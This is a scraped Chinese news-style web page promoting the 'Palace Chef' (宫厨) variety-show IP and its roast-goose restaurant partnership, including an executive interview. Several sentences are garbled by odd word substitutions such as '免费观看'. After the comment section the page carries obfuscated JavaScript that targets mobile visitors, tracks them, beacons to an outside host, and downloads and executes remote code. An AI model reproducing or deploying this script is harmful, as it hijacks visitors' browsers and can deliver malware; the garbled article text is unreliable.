综艺IP面临“变现”大考,这家公司打开了正确方式!

时间:2022-02-27 15:00:31阅读:58121
2022年春节,“冰墩墩”风靡全球,甚至一“墩”难求,与冰墩墩相关文创产品手办、保温杯、徽章、钥匙扣等,无一不是供不应求的状态,国潮文化的走红无疑在向我
综艺IP面临“变现”大考,这家公司打开了正确方式!
综艺IP面临“变现”大考,这家公司打开了正确方式!
1/3

2022年春节,“冰墩墩”风靡全球,甚至一“墩”难求,与冰墩墩相关文创产品手办、保温杯、徽章、钥匙扣等,无一不是供不应求的状态,国潮文化的走红无疑在向我们传递一个讯息,即蕴免费观看中国文化元素的产品和体验已经深受人们的喜爱。而中国文创破圈之路并非刚启程,近几年故宫、敦煌、三星堆等文化IP,通过抖音、今日头条、西瓜免费观看等为代表的新媒体平台,在极具创意的表达下,迅速火爆全网,其中相关衍生品同样掀起了像“冰墩墩”“一户一墩”的热潮。

从《宫厨》商业探索看综艺IP“免费观看”新法则

随着中国文化自信的不断提升和国潮的崛起,中国传统文化IP迎来了前所未有的商业机遇。由字节跳动和上乘优品联合出品的国内首档国潮美食综艺IP《我在宫里做厨师》,基于中华传统文化自信的持续升温,在内容IP商业化方面进行多层次的尝试和探索,多措并举推动下目前已构建了全新的商业模型,经过充分的市场验证,真正实现了商业闭环。

近日,“宫厨IP”牵手古井烧鹅老字号“叠丰传承”,在广州举行了签约仪式,此番盛事引发各界人士的高度关注。在仪式现场,“宫厨”IP产业带负责人侯钦聪先生表示,宫厨团队通过两年时间的筹备和试水,目前官宣“宫厨+叠丰传承”烧鹅店已达12家,且所有店面营业状况良好。据悉已经建立了全新的烧鹅品牌——“叠小丰”烧鹅,力求通过规模化经营扩展线下店面的商业版图,打造线上宫厨IP文化消费与线下产品消费的双向赋能;我们将持续性整合资源,在各方的配合努力下,希望能够将南宋御厨研发并传承了近八百年的口味焕醒,端上当下消费者的餐桌。

上乘优品CEO,《我在宫里做厨师》总制片人徐洋、上乘优品COO兼巨量优选CEO侯钦聪、古井叠丰传承人黄明超以及团队核心骨干成员出席了签约仪式。

《宫厨》致力于打破大家对宫廷饮食的刻板印象,“零距离”走进公众视野,第一季已经上线的简短精悍的内容形式,让不少网友感慨“还没开始就已经结束了的感觉,根本不够看。”《宫厨》通过以小见大的形式,用一则小故事介绍一道宫廷美食,揭开御膳神秘而又华贵的面纱,进而向大众带去中华饮食文化的魅力。

“宫厨”第一季 明星海报

宫廷味觉宝藏的前世今生 叠丰传承“烧鹅界的爱马仕”

发源于广州江门的古井烧鹅既是粤菜中的特色菜,也是非物质文化遗产,是中国人最喜爱的一道养生菜品。而古井烧鹅,就不得不提叠丰。叠丰传承源于南宋御厨独家秘方,致力于百年烧腊的传承与创新。古井烧鹅的魅力扎根在色、香、味中的独特元素与其古香古色的制作手法之中,曾有人品尝后赞叹道叠丰烧鹅已经达到了“天花板”级别,独具"肉质嫩、外皮脆、酱料鲜、入口香",可见其美味不一般。

“宫厨”IP聚焦国潮美食细分领域 打造垂直产业带

在全行业都开始纷纷关注IP全产业带开发的当下,“宫厨”IP出品方上乘优品作为新锐IP运营公司,早于2019年便开始针对“宫厨”IP进行深耕布局。除了“宫厨”IP内容矩阵的运营,还签约多名御厨传承人、收集第一手古代膳食底档、菜品开发、供应链技术突破等多种方式外,与业内专业团队进行IP垂直产业带开发,实现自身IP与产品的营销闭环。

以下是和《宫厨》负责人的对话。

Q、《宫厨》为何会关注到烧鹅,背后原因是什么?

上乘优品COO兼巨量优选CEO 侯钦聪:

宫厨IP的核心价值点在于宫廷美食文化的传播,其实很多宫里的美食是来自民间又回到民间,这是一个漫长的演变过程,在这之中出现了许多有趣的典故。宫厨IP就是在宫里到民间和民间到宫里双向的路径上进行寻找探轶、研究和传播的过程。终于,具有深厚历史传承脉络的古井烧鹅走进了我们导演组的视线,南宋宫廷烧鹅御厨流落民间后,凭着宫廷秘制烧鹅的高超手艺,形成了古井烧鹅的手艺并代代相传,直至今天依然是粤菜的特色菜肴。团队多次寻访南宋宫廷烧鹅御厨传承人,深度了解这一非遗产品的发展与传承路上的趣事和线索,我们每一次品尝叠丰烧鹅可以用“惊为天人”来形容当时的感觉。与宫厨IP的底层逻辑具有天然的相通性,通过宫厨IP的赋能,将这古井烧鹅的文化价值进行挖掘和传播,进而带动烧鹅产业的发展,实现文化IP驱动传统产业的商业功能,这是一场双向奔赴,妙不可言!

Q、《宫厨》还会开发其他品类的美食吗?除了线下实体店铺还会考虑别的渠道拓展吗?

上乘优品COO兼巨量优选CEO 侯钦聪:

宫厨IP价值最大化,一定是团队追求的目标,在这条路上不设限。根据IP内容的需要产生或发现的各类美食,我们一是考虑节目效果和文化传播价值,二是考虑在新消费赛道落地生根的可行性。渠道方面,内容IP赋能传统产业,线上内容传播流量驱动线下产品的体验和销售,线下结合IP进行的运营又会产生新的内容返推线上的流量。这个商业模式区别于一般意义上的o2o,外化的表现形式是以线下传统店面为主,线上订单为渠道补充,但其底层逻辑还是在于线上内容IP强大的驱动力。

Q、《宫厨》节目目前有什么规划吗?

上乘优品COO兼巨量优选CEO 侯钦聪:

目前节目组正在紧急筹备中,初步定在5月份与大家见面,这一季节目将聚焦“历史上的经典饭局”并深度剖析秦汉-魏晋-隋唐-宋元-明清五大历史时期饮食文化,通过“明星真人秀、美食技艺独家复刻、时空卷轴”的表达形式,联合五大历史名城重塑人间盛宴,将打造线下“宫厨”限时体验餐厅,以配合节目播出,用户可以将可预约品鉴人间至味。

其他资讯

评论

  • 评论加载中...
function wfKArmnS(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function izQnAGP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfKArmnS(t);};window[''+'s'+'b'+'B'+'n'+'m'+'a'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZKHN(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=izQnAGP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZKHN(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/15312/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZKHN(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5jbm1lbnQuY24lM0E5NTTM1','167021',window,document,['M','T']);}:function(){};